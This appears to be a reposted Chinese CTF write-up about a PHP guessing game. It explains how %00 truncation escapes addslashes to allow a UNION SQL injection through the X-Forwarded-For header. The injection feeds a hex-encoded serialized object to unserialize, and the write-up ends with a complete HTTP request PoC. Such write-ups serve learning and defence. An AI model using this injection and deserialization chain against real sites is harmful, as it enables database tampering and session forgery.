内容简介:前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。
前言
前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了 %00
的截断来绕过安全校验,最终利用反序列化达成目的。
漏洞分析
整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。
在 config.php
中:
foreach ($_GET as $key => $value ) { $_GET[$key] = daddslashes($value); } foreach ($_POST as $key => $value ) { $_POST[$key] = daddslashes($value); } foreach ($_COOKIE as $key => $value ) { $_COOKIE[$key] = daddslashes($value); } foreach ($_SERVER as $key => $value ) { $_SERVER[$key] = addslashes($value); } function daddslashes($string) { if(!get_magic_quotes_gpc()) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val); } } else { $string = addslashes($string); } } return $string; }
对GET、POST、Cookie和SERVER都进行了转义。
分析 session.class.php
代码:
class session { function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID') { $this->dbConn = $db; $this->session_name = $session_name; $this->session_table = $session_table; $this->_ip = $this->real_ip(); // some other code if ($session_id == '' && !empty($_COOKIE[$this->session_name])) { $this->session_id = $_COOKIE[$this->session_name]; } // some other code if ($this->session_id) { $this->load_session(); } else { $this->gen_session_id(); setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id)); } } function real_ip() { static $realip = NULL; if ($realip !== NULL) { return $realip; } if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $realip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { if (isset($_SERVER['REMOTE_ADDR'])) { $realip = $_SERVER['REMOTE_ADDR']; } else { $realip = '0.0.0.0'; } } } else { $realip = '0.0.0.0'; } return $realip; } }
其中,变量 $this->_ip
是由函数real_ip()得到,其实是从 $_SERVER['HTTP_X_FORWARDED_FOR']
等变量中取到的,意味着变量 $_SERVER['HTTP_X_FORWARDED_FOR']
是可控的。
变量 $this->session_id
是从变量 $_COOKIE["SESSID"]
中得到的,同样是可控的。
所以目前看到这里,我们已经知道了变量 $this->_ip
和变量 $this->session_id
都是我们可控的。
发现在初始化中存在如下代码:
if ($this->session_id) { $this->load_session(); }
如果存在 $this->session_id
,则调用 load_session()
函数,跟踪进入到 load_session()
中,进一步分析
function load_session() { $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'"); $session = $res->fetch_array(); if (empty($session)) { $this->insert_session(); } else { $GLOBALS['_SESSION'] = unserialize($session['data']); } }
可以发现,在 SQL 语句中直接使用了 $this->_ip
,而这个 $this->_ip
是我们可控的, $this->session_id
也是可控的,其次最后将数据取出来时使用了 unserialize($session['data'])
反序列化的操作。
根据直觉猜解,这个问题可能和SQL注入以及序列化漏洞有关。
漏洞利用
根据上面的猜测,漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数 $this->_ip
,虽然我们可控,但是还是被 '
包裹,同时之前也进行了转义,所以如果要利用必须要能够逃逸出单引号。其次,对于序列化漏洞,需要从 $session['data']
中读入数据,所以要能够利用序列化漏洞的话,则需要 $session['data']
的内容是可控的。但是通过分析,对于数据库中 data
表的数据我们是不可控的,所以序列化的利用也存在很大的问题了。
其实问题的本质是在于SQL注入漏洞,如果能够成功地进行 union
注入,也就意味着 $session['data']
的内容是可控的。那么问题就转为了如何进行注入了,注入的关键问题是在于逃脱引号。
分析SQL语句 SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'
如果 $this->_ip
无法逃逸出单引号,那么可以考虑一下 $this->session_id
是否能够逃逸出单引号。继续分析代码,
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) { $this->session_id = $tmp_session_id; }
可以发现使用了 substr()
方法进行了阶段,那么是否能够利用截断的方法得到一个 呢?通过一个例子进行说明:
$mystr = "c4ca4238a0b923820dcc509a6f75849'"; $mystr = addslashes($mystr); var_dump($mystr); // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33) var_dump(substr($mystr, 0, 32)); //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)
说明通过截断的方式保留 是可行的。
解决了SQL注入的问题,接下来就需要解决反序列化的问题,序列化是字符串,但是由于之前使用了 addslashes
进行转义,即使能够使用SQL注入也无法进行反序列, 此时需要可以采用十六进制来解决这个问题了。
漏洞实施
在进行实际的测试时,我发现通过 '
会存在问题。当我们设置 SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059
时,代码运行至:
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) { $this->session_id = $tmp_session_id; }
其中的 $tmp_session_id
,截断之后变为 c4ca4238a0b923820dcc509a6f75849
。此时计算:
$this->gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this->session_id, 32) // 得到 'eb2d9059
可以看到多余的 '
被保留了,导致此处的判断无法相等,这样就存在问题。后来想到可以使用 %00
的方式得到
$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00"; $mystr = urldecode($mystr); $mystr = addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)
这样多余的0就可以作为后面的校验值了。
当我们设置 SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
时,运行的结果如下:
这样就完成了SQL注入的第一步了,下面就是构造序列化的内容,然后转换为十六进制。序列化的内容十分的简单,需要设置分数大于100份即可, a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";}
,转换为十六进制 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d
。
至此,所有的问题都解决了,最后的PoC为:
GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
注意设置Cookie和XXF。
总结
一般的截断通过是为了保留得到单引号,但是相较于常规的截断手法,你会发现在本例中完全不适用,无法绕过关键的校验是 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)
,同时在绕过了这个校验之后还需要保留单引号,最终采用 %00
截断完美地解决了这个问题。
这是一道非常好的题目,虽然所有的考察点都知道,但是结合在一起确实如此的精妙,遇到了问题看来需要多想多思考,在安全这条路上还有很长的一段路要走。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- CSS 来实现多行文字截断
- perl – 截断stdin行长度?
- 00截断之追本溯源
- 技术问题分析-报文截断(11.20)
- 技术问题分析-报文截断02(11.21)
- 技术问题分析-报文截断03(11.22)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。